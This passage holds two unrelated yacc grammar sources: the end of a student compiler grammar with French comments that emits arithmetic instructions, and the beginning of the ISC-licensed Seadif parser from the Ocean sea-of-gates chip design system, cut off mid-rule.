//add = insertNode($1,type,$1+$3,0);
temp = (temp+1)%2;
valueInt= Value($1)-Value($3);
printf("======= %d\n",valueInt);
changeValuebyadd(temp,"int",valueInt);
fprintf(fp,"SOU %d %d %d\n", temp, $1, $3); // Add des deux var // renvoyer l'adresse add en $
$$=temp;
}
| calcul_multiple tMULT calcul_multiple // Besoin de priorité PROBLEME A REGLER Il va effectivement rentrer dans la multiplication en premier
//mais aura déjà affecté la valeur de gauche ce qui fait que cette valeur sera perdue
// solution possible oublier les valeurs temporaires et repartir sur des valeurs qui s'attribuerait et s'effacerai après utilisations (à chaque étage en distinguant valeur int de variable?) risque de pas marcher
//
{
printf("--------------------Multiplication---------------\n");
printf(" %d * %d\n", Value($1),Value($3));
//add = insertNode($1,type,$1+$3,0);
temp = (temp+1)%2;
valueInt= Value($1)*Value($3);
printf("======= %d\n",valueInt);
changeValuebyadd(temp,"int",valueInt);
fprintf(fp,"MUL %d %d %d\n", temp, $1, $3); // Add des deux var // renvoyer l'adresse add en $
$$=temp;
}
| calcul_multiple tDIV calcul_multiple // Besoin de priorité PROBLEME A REGLER
{
printf("--------------------Division---------------\n");
printf(" %d / %d\n", Value($1),Value($3));
//add = insertNode($1,type,$1+$3,0);
temp = (temp+1)%2;
valueInt= Value($1)/Value($3);
printf("======= %d\n",valueInt);
changeValuebyadd(temp,"int",valueInt);
fprintf(fp,"DIV %d %d %d\n", temp, $1, $3); // Add des deux var // renvoyer l'adresse add en $
$$=temp;
}
//Cas triviaux Integer / Variable pré déf ou decimal
| tINTEGER
{
printf("%d\n", yylval.int_val);
printf("value integer %d\n", $1);
//sprintf(value,"%d",$1);
temp = (temp +1)%2;
changeValuebyadd(temp,"int",$1);
//printList();
fprintf(fp,"AFC %d %d\n", temp, $1); // affecter à une valeur temporaire, trouver un moyen d'avoir une adresse différente en adresse temporaire
printf("temp val integer %d\n",temp);
$$ = temp;
}
| tVARNAME
{
printf("tVARNAME %s\n", $1);
printf("value integer %d\n", findByID($1));
$$ =findByID($1);
printf("Le varName :%d",$1);
}
| tDEC {printf("%.2f\n", yylval.double_val);}
;
iteration_statement
: tWHILE conditioner statement
| tIF conditioner statement
| tIF conditioner statement tELSE statement
| tIF conditioner tTHEN statement;
conditional_expression
: tFALSE
| tTRUE
| calcul_multiple
| calcul_multiple comparator calcul_multiple
| conditional_expression logical_connector conditional_expression
;
/* 1.024 == 2*/
logical_connector
: tAND
| tOR
;
conditioner
: tPOPEN conditional_expression tPCLOSE
;
comparator
: tBE
| tGEQ
| tLEQ
| tINF
| tSUP
;
%%
yyerror(char *s)
{
fprintf(stderr, "%s\n", s);
}
yywrap()
{
return(1);
}
int main(){
insertTemp();
printList();
fp = fopen("./output/file.txt","w");
printf("Start analysis \n");
yyparse();
fclose(fp);
/* yylex(); */
return(0);
}
|
%{
/*
* ISC License
*
* Copyright (C) 1990-2018 by
* <NAME>
* <NAME>
* <NAME>
* Delft University of Technology
*
* Permission to use, copy, modify, and/or distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
/*
* Parser for the ocean sea-of-gates system.
*/
#include "src/ocean/libseadif/sea_decl.h"
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <unistd.h>
#define HACK NULL
#define FALSE 0
#define SDFDISCARDSPACES TRUE
#define MAXNAMELEN 300
/* Following are the 3 states of a state machine that checks:
* - whether lib.status comes before any Function;
* - whether fun.status comes before any Circuit;
* - whether cir.status, cir.cirport, cir.cirinst and
* cir.netlist all come before any Layout.
* If this is the case, the info field in the index will have
* its state(SDFFASTPARSE) bit set. Subsequent reads of the
* lib (or fun or cir) can then quit parsing as soon as a
* Function (or Circuit or Layout) is encountered because it
* can be sure that nothing interesting is going to appear
* until the end of the lib (or fun or cir). This way a
* significant speed-up can be realized when reading a lib,
* a fun or a cir. (No advantage for layout parsing of course.)
*/
#define SDF_SEEN_NOTHING_YET 2 /* initial state */
#define SDF_LETS_KEEP_IT_LIKE_THIS 1 /* seen consecutive Functions */
#define SDF_LOST_CAUSE 0 /* Function was followed by something else */
#define debug(string) /* fprintf (stderr, "[%d]--> %s\n", yylineno, string) */ ;
/* Alternatively, set the integer yydebug to 1. */
#define FilNam (fnprinted ? "" : printfilnam())
typedef struct
{
short hor, ver;
}
HORVER, *HORVERPTR; /* For passing (horizontal,vertical) positions to the caller. */
typedef short MATRIX[6]; /* Orientation matrix mtx[0..5] */
int sdfstrcasecmp (char*, char*);
void yyerror (char *s);
int yylex (void);
char *findlibname = NULL; /* These name must be set externally. */
char *findfunname = NULL; /* If find...name is NULL the parser parses all ... */
char *findcirname = NULL; /* e.g. find{lib,fun,cir}name !=NULL && findlayname==NULL */
STRING findlayname = NULL; /* means "read all layouts in the specified circuit." */
int sdfverbose = 0; /* Be chatty or not... default is quiet */
NAMELISTLISTPTR libseen = NULL;
NAMELISTPTR libparsed = NULL;
NAMELISTPTR libunparsed = NULL;
PRIVATE char *seadifinputfilename;
PRIVATE int junklib = TRUE; /* False when parsing a library we want. */
PRIVATE int junkfun = TRUE; /* False when parsing a function we want. */
PRIVATE int junkcir = TRUE; /* False when parsing a circuit we want. */
PRIVATE int junkstat = TRUE; /* False when parsing a Status we want. */
PRIVATE int junklay = TRUE; /* False when parsing a layout we want. */
PRIVATE int junktm = TRUE; /* IK, False when parsing a timing we want */
PRIVATE int fnprinted; /* Boolean tells whether file name has
* already been printed in case of error. */
/* Following are state variables when building an
* index and they are booleans during normal parsing: */
int sdffunislastthinginlib; /* for preliminary abortion of lib parsing */
int sdfcirislastthinginfun; /* for preliminary abortion of fun parsing */
int sdflayislastthingincir; /* for preliminary abortion of cir parsing */
PRIVATE SDFINFO info;
int sdfobligetimestamp; /* for support of the sdftouch() functions */
time_t sdftimestamp;
extern int yylineno;
extern int sdfcopytheinput;
extern FILEPTR sdfcopystream;
extern char sdftimecvterror[]; /* contains error msg from sdftimecvt() */
extern LIBTABPTR thislibtab; /* Current entry in the lib hash table */
extern FUNTABPTR thisfuntab; /* Current entry in the fun hash table */
extern CIRTABPTR thiscirtab; /* Current entry in the cir hash table */
extern LAYTABPTR thislaytab; /* Current entry in the lay hash table */
extern char sdfcurrentfileidx; /* Index for sdffileinfo[] */
extern SDFFILEINFO sdffileinfo[];
extern int makeindex;
unsigned int sdfwhat; /* specifies the parts to be read into core */
unsigned int sdfstuff; /* parts to be deleted while copying to the scratch file */
unsigned int sdfwrite; /* parts to write to the scratch file */
LIBRARYPTR sdfwritethislib; /* library to be written onto the scratch file */
FUNCTIONPTR sdfwritethisfun; /* function to be written onto the scratch file */
CIRCUITPTR sdfwritethiscir; /* circuit to be written onto the scratch file */
LAYOUTPTR sdfwritethislay; /* layout to be written onto the scratch file */
PRIVATE int skipthisthingforindex = 0;
int sdfparseonelib = 0;
int sdfparseonefun = 0;
int sdfparseonecir = 0;
int sdfparseonelay = 0;
PRIVATE int sdfslicedepth = 0; /* counts the depth of the sliceig tree */
PRIVATE long sdfleftparenthesis; /* File position of most recent '(' */
extern long sdffilepos; /* Current position in file, see sdfinput() in lex source */
PRIVATE char sdftmpstring[MAXNAMELEN+1]; /* for copying status fields */
PRIVATE int sdfhavethisthing;
/* Some of the following (the public ones) are communicated to libio.c */
PRIVATE SEADIF yyseadifile; /* Holds the current Seadif file. */
LIBRARYPTR libraryptr; /* Holds the current library (SDFLIBBODY). */
FUNCTIONPTR functionptr; /* Holds the current Function (SDFFUNBODY). */
CIRCUITPTR circuitptr; /* Holds the current Circuit (SDFCIRBODY). */
LAYOUTPTR layoutptr; /* Holds the current Layout (SDFLAYBODY). */
PRIVATE CIRPORTPTR cirportlistptr; /* Holds the current CirPortList (SDFCIRPORT). */
PRIVATE CIRPORTPTR cirportptr; /* Holds the current CirPort. */
CIRINSTPTR cirinstlistptr; /* Holds the current CirInstList (SDFCIRINST). */
PRIVATE CIRINSTPTR cirinstptr; /* Holds the current CirInstance. */
PRIVATE BUSPTR buslistptr; /* Holds the current bus (SDFBUS) */
PRIVATE NETREFPTR netreflistptr; /* Hold current list of NetRefs x*/
NETPTR netlistptr; /* Holds the current NetList (SDFCIRNETLIST). */
PRIVATE NETPTR netptr; /* Holds the current Net */
PRIVATE CIRPORTREFPTR cirportrefptr; /* Holds the current Joined list. */
PRIVATE CIRPORTREFPTR cirportreflistptr; /* Holds the current NetPortRef. */
LAYPORTPTR layportlistptr; /* Holds the current LayPortList (SDFLAYPORT). */
PRIVATE LAYPORTPTR layportptr; /* Holds the current LayPort. */
LAYLABELPTR laylabellistptr; /* Holds the current LayLabelList (SDFLAYLABEL). */
PRIVATE LAYLABELPTR laylabelptr; /* Holds the current LayLabel. */
LAYINSTPTR layinstptr; /* Holds the current LayInstance (SDFLAYSLICE). */
WIREPTR wirelistptr; /* Holds the current wire (SDFLAYWIRE). */
PRIVATE WIREPTR wireptr; /* Holds the current wire. */
PRIVATE STATUSPTR statusptr; /* Holds the current status description. */
/* IK, new structures for timing model */
PRIVATE TIMINGPTR timingPtr;
PRIVATE TIMETERMPTR ttermlistPtr;
PRIVATE TIMETERMPTR timetermPtr;
PRIVATE CIRPORTREFPTR cirportrefPtr;
PRIVATE TIMETERMREFPTR timetermrefPtr;
PRIVATE TMMODINSTPTR tmmodinstlistPtr;
PRIVATE TMMODINSTPTR tmmodinstPtr;
PRIVATE NETMODPTR netmodlistPtr;
PRIVATE NETMODPTR netmodPtr;
PRIVATE TPATHPTR tpathlistPtr;
PRIVATE TPATHPTR tpathPtr;
PRIVATE TIMETERMREFPTR starttermlistPtr;
PRIVATE TIMETERMREFPTR endtermlistPtr;
PRIVATE TIMECOSTPTR timecostPtr;
PRIVATE TCPOINTPTR tcpointPtr;
PRIVATE DELASGPTR delasgPtr;
PRIVATE DELASGINSTPTR delasginstPtr;
PRIVATE DELASGINSTPTR delasginstlistPtr;
PRIVATE LIBRARY_TYPE junklibrary;
PRIVATE FUNCTION_TYPE junkfunction;
PRIVATE CIRCUIT_TYPE junkcircuit;
PRIVATE CIRINST_TYPE junkcirinst;
PRIVATE CIRPORT_TYPE junkcirport;
PRIVATE CIRPORTREF_TYPE junkcirportref;
PRIVATE NET_TYPE junknet;
PRIVATE LAYOUT_TYPE junklayout;
PRIVATE LAYPORT_TYPE junklayport;
PRIVATE LAYLABEL_TYPE junklaylabel;
PRIVATE LAYINST_TYPE junklayinst;
PRIVATE SLICE_TYPE junkslice;
PRIVATE WIRE_TYPE junkwire;
PRIVATE TIMING_TYPE junktiming;
PRIVATE TIMETERM_TYPE junktimeterm;
PRIVATE TIMETERMREF_TYPE junktimetermref;
PRIVATE TMMODINST_TYPE junktmmodinst;
PRIVATE NETMOD_TYPE junknetmod;
PRIVATE TPATH_TYPE junktpath;
PRIVATE TIMECOST_TYPE junktimecost;
PRIVATE TCPOINT_TYPE junktcpoint;
PRIVATE DELASG_TYPE junkdelasg;
PRIVATE DELASGINST_TYPE junkdelasginst;
/* Following are prototypes for PRIVATE functions in this Yacc file: */
PRIVATE short atos (char *str);
PRIVATE char *downcase (char *str);
PRIVATE char *printfilnam (void);
PRIVATE void skipthisthing (void);
PRIVATE char *copythisthing (void);
PRIVATE void checkthatalllayhasbeenwritten (int thingsstilltobewritten);
PRIVATE void checkthatallcirhasbeenwritten (int thingsstilltobewritten);
PRIVATE void checkthatallfunhasbeenwritten (int thingsstilltobewritten);
PRIVATE void checkthatalllibhasbeenwritten (int thingsstilltobewritten);
/* THINGS returns all the things that we where requested to write MINUS
* the things that we already wrote; in other words, it returns the things
* that we still have to write.
*/
#define THINGS(_sdfall_, _sdfalias_) (!(sdfwrite & _sdfall_) ? \
0 : ((sdfwrite & _sdfall_) | _sdfalias_) & ~sdfhavethisthing)
#ifndef THINGS
/* this function is equivalent to the THINGS macro */
static int THINGS (int _sdfall_, int _sdfalias_)
{
if (!(sdfwrite & _sdfall_)) return 0;
return ((sdfwrite & _sdfall_) | _sdfalias_) & ~sdfhavethisthing;
}
#endif
%}
%union {
char str[200];
STRING canonicstr;
NAMELISTPTR namelist;
HORVER horver;
MATRIX matrix;
STATUSPTR status;
SEADIFPTR seadif;
LIBRARYPTR library;
FUNCTIONPTR function;
CIRCUITPTR circuit;
CIRINSTPTR cirinst;
CIRPORTPTR cirport;
CIRPORTREFPTR cirportref;
NETPTR net;
BUSPTR bus;
NETREFPTR netref;
LAYOUTPTR layout;
LAYPORTPTR layport;
LAYLABELPTR laylabel;
LAYINSTPTR layinst;
short layer;
SLICEPTR slice;
WIREPTR wire;
void* nothing;
/* IK timing structures types */
TIMINGPTR timing;
TIMETERMPTR tterm;
CIRPORTREFPTR cportref;
TIMETERMREFPTR timetermref;
TMMODINSTPTR tmmodinst;
NETMODPTR netmod;
BUSREFPTR busref;
TPATHPTR tpath;
TIMECOSTPTR timecost;
TCPOINTPTR tcpoint;
DELASGPTR delasg;
DELASGINSTPTR delasginst;
long cycle;
double relcycletime;
}
%token <str> STRNG
%token <str> NUMBER
%token LBRTOKEN RBR
%token SEADIFTOKEN
%token LIBRARYTOKEN
%token ALIAS
%token TECHNOLOGY
%token FUNCTIONTOKEN
%token FUNCTIONTYPE
%token FUNCTIONLIBREF
%token CIRCUITTOKEN
%token ATTRIBUTE
%token CIRCUITPORTLIST
%token CIRCUITPORT
%token DIRECTION
%token CIRCUITINSTANCELIST
%token CIRCUITINSTANCE
%token CIRCUITCELLREF
%token CIRCUITFUNREF
%token CIRCUITLIBREF
%token NETLIST
%token NETTOKEN
%token BUSLISTTOKEN
%token BUSTOKEN
%token NETREFTOKEN
%token JOINED
%token NETPORTREF
%token NETINSTREF
%token LAYOUTTOKEN
%token LAYOUTPORTLIST
%token LAYOUTPORT
%token PORTPOSITION
%token PORTLAYER
%token LAYOUTLABELLIST
%token LAYOUTLABEL
%token LABELPOSITION
%token LABELLAYER
%token LAYOUTBBX
%token LAYOUTOFFSET
%token LAYOUTINSTANCELIST
%token LAYOUTINSTANCE
%token LAYOUTSLICE
%token LAYOUTCELLREF
%token LAYOUTCIRREF
%token LAYOUTFUNREF
%token LAYOUTLIBREF
%token ORIENTATION
%token WIRELIST
%token WIRETOKEN
%token STATUSTOKEN
%token WRITTEN
%token TIMESTAMP
%token AUTHOR
%token PROGRAM
%token COMMENT
/* IK - timing extensions: */
%token TIMINGTOKEN
%token TIMETERMLISTTOKEN
%token TIMETERMTOKEN
%token CIRPORTREFTOKEN
%token TIMETERMREFTOKEN
%token TMMODINSTREFTOKEN
%token INPUTLOADTOKEN
%token INPUTDRIVETOKEN
%token REQINPUTTIMETOKEN
%token OUTPUTTIMETOKEN
%token TMMODINSTLISTTOKEN
%token TMMODINSTTOKEN
%token CINSTREFTOKEN
%token TIMINGREFTOKEN
%token NETMODLISTTOKEN
%token NETMODTOKEN
%token BUSREFTOKEN
%token TPATHLISTTOKEN
%token TPATHTOKEN
%token STARTTERMLISTTOKEN
%token ENDTERMLISTTOKEN
%token TIMECOSTTOKEN
%token TCPOINTTOKEN
%token DELASGTOKEN
%token CLOCKCYCLETOKEN
%token DELASGINSTLISTTOKEN
%token DELASGINSTTOKEN
%token TPATHREFTOKEN
%token TCPOINTREFTOKEN
%type <canonicstr> SeadifFileName Technology
%type <canonicstr> NetInstRef _NetInstRef Alias
%type <canonicstr> FunctionType OptionalString Attribute
%type <namelist> CirFunRef CirLibRef LayCirRef LayFunRef LayLibRef
%type <horver> LayBoundingBox LayOffset PortPos LabelPos
%type <matrix> Orientation
%type <status> SeaStatus LibStatus CirStatus FunStatus LayStatus
%type <seadif> Seadif
%type <library> Library _Library
%type <function> Function _Function
%type <circuit> CircuitImpl _CircuitImpl
%type <cirinst> CirInstance CirInstList _CirInstList _CirInstRef CirCellRef
%type <cirport> CirPortList _CirPortList CirPort
%type <cirportref> NetPortRef _NetPortRef NetPortRefInBus
%type <net> NetList _NetList Net
%type <bus> Bus _BusList BusList
%type <netref> NetRef NetRefList
%type <layout> LayoutImpl _LayoutImpl
%type <layport> LayPortList _LayPortList LayPort _LayPort
%type <laylabel> LayLabelList _LayLabelList LayLabel _LayLabel
%type <layer> PortLayer
%type <layer> LabelLayer
%type <layinst> LayInstance
%type <slice> LayInstList _LayInstList LaySlice _LaySlice LaySliceRef
%type <wire> WireList _WireList Wire
%type <nothing> Seadifentry
/* IK, ... and timing extensions : */
%type <timing> Timing _Timing
%type <tterm> TimeTerm _TimeTerm TimeTermList _TimeTermList
%type <cirportref> CirPortRef
%type <timetermref> TimeTermRef _TimeTermRef TmModInstRef
%type <relcycletime> ReqInputTime OutputTime InputLoad InputDrive
%type <tmmodinst> TmModInst TmModInstList _TmModInstList
%type <canonicstr> TimingRef CInstRef
%type <netmod> NetMod _NetMod NetModList _NetModList
%type <busref> BusRef
%type <tpath> TPath TPathList _TPathList TPathRef
%type <timetermref> StartTermList StartTermList_ EndTermList EndTermList_
%type <timecost> TimeCost _TimeCost
%type <tcpoint> TcPoint TcPointRef
%type <delasg> DelAsg _DelAsg
%type <cycle> ClockCycle
%type <delasginst> DelAsgInst DelAsgInstList _DelAsgInstList
%type <status> TmStatus
%start Seadifentry
%%
Seadifentry : Seadif { $<nothing>$ = (void *)0; }
| Library { $<nothing>$ = (void *)0; }
| Function { $<nothing>$ = (void *)0; }
| CircuitImpl { $<nothing>$ = (void *)0; }
| LayoutImpl { $<nothing>$ = (void *)0; }
;
Seadif : LBR SEADIFTOKEN SeadifFileName
{
debug ("LBR SEADIFTOKEN SeadifFileName")
fnprinted = FALSE;
yyseadifile.filename = $3;
yyseadifile.library = NULL;
yyseadifile.status = NULL;
}
_Seadif RBR /* Skip EdifVersion, EdifLevel, KeywordMap */
{
debug ("_Seadif RBR")
$$ = (&yyseadifile);
}
;
SeadifFileName : STRNG
{
debug ("STRNG")
$$ = canonicstring ($1);
}
;
_Seadif : /* nothing */
{
debug ("empty _Seadif");
}
| _Seadif Library
{
debug ("_Seadif Library");
}
| _Seadif SeaStatus
{
debug ("_Seadif Status");
}
| _Seadif Comment
{
debug ("_Seadif Comment");
}
| _Seadif UserData
{
debug ("_Seadif UserData");
}
;
/*
* Library module
*/
Library : LBR LIBRARYTOKEN STRNG
{
debug ("LBR LIBRARYTOKEN STRNG");
sdfhavethisthing &= ~(SDFLIBALL | SDF_X_LIBALIAS);
sdfhavethisthing |= SDFLIBBODY;
if (makeindex && !skipthisthingforindex)
{
junklibrary.name = canonicstring ($3);
if (existslib (junklibrary.name))
{
sdfreport (Error, "Makeindex: multiple libraries \"%s\"\n"
" file \"%s\", char pos %d\n"
" file \"%s\", char pos %d",
$3, sdffileinfo[(int)sdfcurrentfileidx].name, sdfleftparenthesis,
sdffileinfo[(int)thislibtab->info.file].name, thislibtab->info.fpos);
skipthisthingforindex = 1; /* 1 means: skip this lib for index */
return (1);
}
else
{
info.what = 0;
info.state = 0;
info.file = sdfcurrentfileidx;
info.fpos = sdfleftparenthesis; /* position of most recent '(' */
addlibtohashtable (&junklibrary, &info);
sdffunislastthinginlib = SDF_SEEN_NOTHING_YET;
}
forgetstring (junklibrary.name);
}
if (sdfstuff & SDFLIBBODY) sdfabortcopy (SDFDISCARDSPACES);
/* Don't check the name of the library */
if (sdfwhat & SDFLIBBODY)
{
junklib = FALSE; /* Encountered a library that must be parsed. */
NewLibrary (libraryptr);
libraryptr->name = canonicstring ($3);
if (sdfverbose) fprintf (stderr, "...(Library \"%s\")\n", libraryptr->name);
}
else
{
junklib = TRUE; /* We do not want this library: parse but do not */
libraryptr = &junklibrary; /* actually reserve storage for its contents. */
libraryptr->name = NULL;
}
libraryptr->next = yyseadifile.library;
if (!junklib)
yyseadifile.library = libraryptr; /* Link in front of library list. */
}
_Library RBR
{
int thingsstilltobewritten;
debug ("_Library RBR")
if ((thingsstilltobewritten = THINGS (SDFLIBALL, SDF_X_LIBALIAS)))
{
if (sdfcopytheinput)
{ /* First, flush whatever is in the copy buffer up till RBR */
sdfuncopysincelastchar (')'); /* undo the RBR */
sdfdodelayedcopy (0); /* flush */
}
checkthatalllibhasbeenwritten (thingsstilltobewritten);
if (sdfcopytheinput) sdfpushcharoncopystream (')'); /* redo the RBR */
}
if (sdfstuff & SDFLIBBODY) sdfcopytheinput = TRUE; /* resume copying */
if (skipthisthingforindex == 1) skipthisthingforindex = 0;
if (makeindex)
{
if (sdffunislastthinginlib == SDF_SEEN_NOTHING_YET ||
sdffunislastthinginlib == SDF_LETS_KEEP_IT_LIKE_THIS)
/* The good news: we can stop parsing this lib as soon as we encounter a Function */
thislibtab->info.state |= SDFFASTPARSE;
}
if (!makeindex && sdfparseonelib) /* Parse only one lib */
YYACCEPT; /* Quit the parser */
$$ = libraryptr;
}
;
_Library :
{
debug ("empty _Library")
$$ = libraryptr;
}
| _Library Technology
{
debug ("_Library Technology")
if (!junklib && libraryptr->technology)
sdfreport (Warning, "%s\nLibrary '%s' has more than one Technology section,\n"
"all but first ignored. (Line %d)", FilNam, libraryptr->name, yylineno);
else
libraryptr->technology = $2;
$$ = libraryptr;
}
| _Library Alias
{
if (makeindex && $2) sdfmakelibalias ($2, thislibtab->name);
$$ = libraryptr;
}
| _Library LibStatus
{
debug ("_Library Status")
if (!junklib && libraryptr->status)
sdfreport (Warning, "%s\nLibrary '%s' has more than one Status section,\n"
"all but first ignored. (Line %d)", FilNam, libraryptr->name, yylineno);
else
libraryptr->status = $2;
$$ = libraryptr;
}
| _Library Function
{
debug ("_Library Function")
if ($2) { /* if not junkfun then link in funlist */
($2)->next = libraryptr->function;
libraryptr->function = $2;
}
$$ = libraryptr;
}
| _Library Comment
{
debug ("_Library Comment")
$$ = libraryptr;
}
| _Library UserData
{
debug ("_Library UserData")
$$ = libraryptr;
}
;
Technology : LBR TECHNOLOGY
{
if (sdfstuff & SDFLIBBODY) {
sdfabortcopy (SDFDISCARDSPACES); /* don't copy this statement */
if (sdfwrite & SDFLIBBODY) {
sdfdodelayedcopy (0); /* flush */
fprintf (sdfcopystream, "\n(Technology \"%s\")\n", sdfwritethislib->technology);
}
}
}
STRNG _Stuff RBR
{
if (sdfstuff & SDFLIBBODY) sdfcopytheinput = TRUE; /* resume copying */
$$ = junklib ? NULL : canonicstring ($4);
}
;
/*
* library/function
*/
Function : LBR FUNCTIONTOKEN STRNG
{
int wearecopyingtheinput = sdfcopytheinput;
int thingsstilltobewritten;
debug ("LBR FUNCTIONTOKEN STRNG");
sdfhavethisthing &= ~(SDFFUNALL | SDF_X_FUNALIAS);
sdfhavethisthing |= SDFFUNBODY;
if (!makeindex && sdffunislastthinginlib)
{ /* we're gonna abort this parse thing, seems like we've seen enough... */
if (sdfstuff & SDFFUNBODY)
sdfabortcopy (SDFDISCARDSPACES);
if ((thingsstilltobewritten = THINGS (SDFLIBALL, SDF_X_LIBALIAS)))
{
if (wearecopyingtheinput) sdfdodelayedcopy (0); /* flush */
checkthatalllibhasbeenwritten (thingsstilltobewritten);
}
if (wearecopyingtheinput)
{
/* unfortunately we're also gonna miss the final ')', better simulate one... */
sdfcopytheinput = TRUE;
sdfpushcharoncopystream (')');
}
YYACCEPT;
}
if (makeindex && !skipthisthingforindex)
{
junkfunction.name = canonicstring ($3);
if (existsfun (junkfunction.name, thislibtab->name))
{
sdfreport (Error, "Makeindex: multiple functions (%s(%s))\n"
" file \"%s\"\n"
" file \"%s\"",
$3, thislibtab->name,
sdffileinfo[(int)sdfcurrentfileidx].name,
sdffileinfo[(int)thisfuntab->info.file].name);
skipthisthingforindex = 2; /* 2 means: skip this fun for index */
return (1);
}
else
{
info.what = 0;
info.state = 0;
info.file = sdfcurrentfileidx;
info.fpos = sdfleftparenthesis; /* position of most recent '(' */
addfuntohashtable (&junkfunction, thislibtab, &info);
}
forgetstring (junkfunction.name);
sdfcirislastthinginfun = SDF_SEEN_NOTHING_YET; /* initialize */
if (sdffunislastthinginlib == SDF_SEEN_NOTHING_YET ||
sdffunislastthinginlib == SDF_LETS_KEEP_IT_LIKE_THIS)
sdffunislastthinginlib = SDF_LETS_KEEP_IT_LIKE_THIS;
}
if (sdfstuff & SDFFUNBODY) sdfabortcopy (SDFDISCARDSPACES); /* don't copy this statement */
if (sdfwhat & SDFFUNBODY) {
junkfun = FALSE;
NewFunction (functionptr);
functionptr->name = canonicstring ($3);
if (sdfverbose) fprintf (stderr, "......(Function \"%s\")\n", functionptr->name);
}
else {
junkfun = TRUE;
functionptr = &junkfunction;
functionptr->name = NULL;
}
functionptr->library = libraryptr;
}
_Function RBR
{
int thingsstilltobewritten;
if ((thingsstilltobewritten = THINGS (SDFFUNALL, SDF_X_FUNALIAS)))
{
if (sdfcopytheinput)
{ /* First, flush whatever is in the copy buffer up till RBR */
sdfuncopysincelastchar (')'); /* undo the RBR */
sdfdodelayedcopy (0); /* flush */
}
checkthatallfunhasbeenwritten (thingsstilltobewritten);
if (sdfcopytheinput) sdfpushcharoncopystream (')'); /* redo the RBR */
}
if (makeindex)
{
if (sdfcirislastthinginfun == SDF_SEEN_NOTHING_YET ||
sdfcirislastthinginfun == SDF_LETS_KEEP_IT_LIKE_THIS)
/* The good news: we can stop parsing this fun as soon as we encounter a Circuit */
thisfuntab->info.state |= SDFFASTPARSE;
}
if (skipthisthingforindex == 2) skipthisthingforindex = 0;
if (sdfstuff & SDFFUNBODY) sdfcopytheinput = TRUE; /* resume copying */
if (junkfun) $$ = NULL;
else { junkfun = TRUE; $$ = functionptr; }
if (!makeindex && sdfparseonefun) YYACCEPT; /* quit the parser */
}
;
_Function :
{
debug ("empty _Function")
$$ = functionptr;
}
| _Function Alias
{
if (makeindex && $2) sdfmakefunalias ($2, thisfuntab->name, thisfuntab->library->name);
}
| _Function FunctionType
{
debug ("_Function FunctionType")
if (!junkfun && functionptr->type)
sdfreport (Warning, "%s\nFunction '%s' has more than one FunctionType section,\n"
"all but first ignored. (Line %d)", FilNam, functionptr->name, yylineno);
else
functionptr->type = $2;
$$ = functionptr;
}
| _Function CircuitImpl
{
debug ("_Function CircuitImpl");
if ($2) { /* link circuit in front of the function's circuit list */
($2)->next = functionptr->circuit;
functionptr->circuit = $2;
}
$$ = functionptr;
}
| _Function FunStatus
{
debug ("_Function Status")
if (!junkfun && functionptr->status)
sdfreport (Warning, "%s\nFunction '%s' has more than one Status section,\n"
"all but first ignored. (Line %d)", FilNam, functionptr->name, yylineno);
else
functionptr->status = $2;
$$ = functionptr;
}
| _Function Comment
{
$$ = functionptr;
}
| _Function UserData
{
$$ = functionptr;
}
;
/*
* library/function/type
* Should specify the class of function: elementary boolean, complex, etc.
*/
FunctionType : LBR FUNCTIONTYPE
{
if (sdfstuff & SDFFUNTYPE) {
sdfabortcopy (SDFDISCARDSPACES); /* don't copy this statement */
if (sdfwrite & SDFFUNTYPE) {
sdfdodelayedcopy (0); /* flush */
dump_funtype (sdfcopystream, sdfwritethisfun->type);
}
}
}
STRNG RBR
{
sdfhavethisthing |= SDFFUNTYPE;
if (sdfstuff & SDFFUNTYPE) sdfcopytheinput = TRUE; /* resume copying */
$$ = junkfun ? NULL : canonicstring ($4);
}
;
/*
* Library/Function/CircuitImpl
* Contains the Logical (circuit) Implementation (= netlist) of a
* boolean function
*/
CircuitImpl : LBR CIRCUITTOKEN STRNG
{
int wearecopyingtheinput = sdfcopytheinput;
int thingsstilltobewritten;
debug ("LBR CIRCUITTOKEN STRNG");
sdfhavethisthing &= ~(SDFCIRALL | SDF_X_CIRALIAS);
sdfhavethisthing |= SDFCIRBODY;
if (!makeindex && sdfcirislastthinginfun)
{ /* we're gonna abort this parse thing, seems like we've seen enough... */
if (sdfstuff & SDFCIRBODY) sdfabortcopy (SDFDISCARDSPACES);
if ((thingsstilltobewritten = THINGS (SDFFUNALL, SDF_X_FUNALIAS)))
{
if (wearecopyingtheinput) sdfdodelayedcopy (0); /* flush */
checkthatallfunhasbeenwritten (thingsstilltobewritten);
}
if (wearecopyingtheinput)
{
/* unfortunately we're also gonna miss the final ')', better simulate one... */
sdfcopytheinput = TRUE;
sdfpushcharoncopystream (')');
}
YYACCEPT;
}
if (makeindex && !skipthisthingforindex)
{
junkcircuit.name = canonicstring ($3);
if (existscir (junkcircuit.name, thisfuntab->name, thislibtab->name))
{
sdfreport (Error, "Makeindex: multiple circuits (%s(%s(%s)))\n"
" file \"%s\"\n"
" file \"%s\"",
$3, thisfuntab->name, thislibtab->name,
sdffileinfo[(int)sdfcurrentfileidx].name,
sdffileinfo[(int)thiscirtab->info.file].name);
skipthisthingforindex = 3; /* 3 means: skip this cir for index */
return (1);
}
else
{
info.what = 0;
info.state = 0;
info.file = sdfcurrentfileidx;
info.fpos = sdfleftparenthesis; /* position of most recent '(' */
addcirtohashtable (&junkcircuit, thisfuntab, &info);
}
forgetstring (junkcircuit.name);
sdflayislastthingincir = SDF_SEEN_NOTHING_YET; /* initialize */
if (sdfcirislastthinginfun == SDF_SEEN_NOTHING_YET ||
sdfcirislastthinginfun == SDF_LETS_KEEP_IT_LIKE_THIS)
sdfcirislastthinginfun = SDF_LETS_KEEP_IT_LIKE_THIS;
}
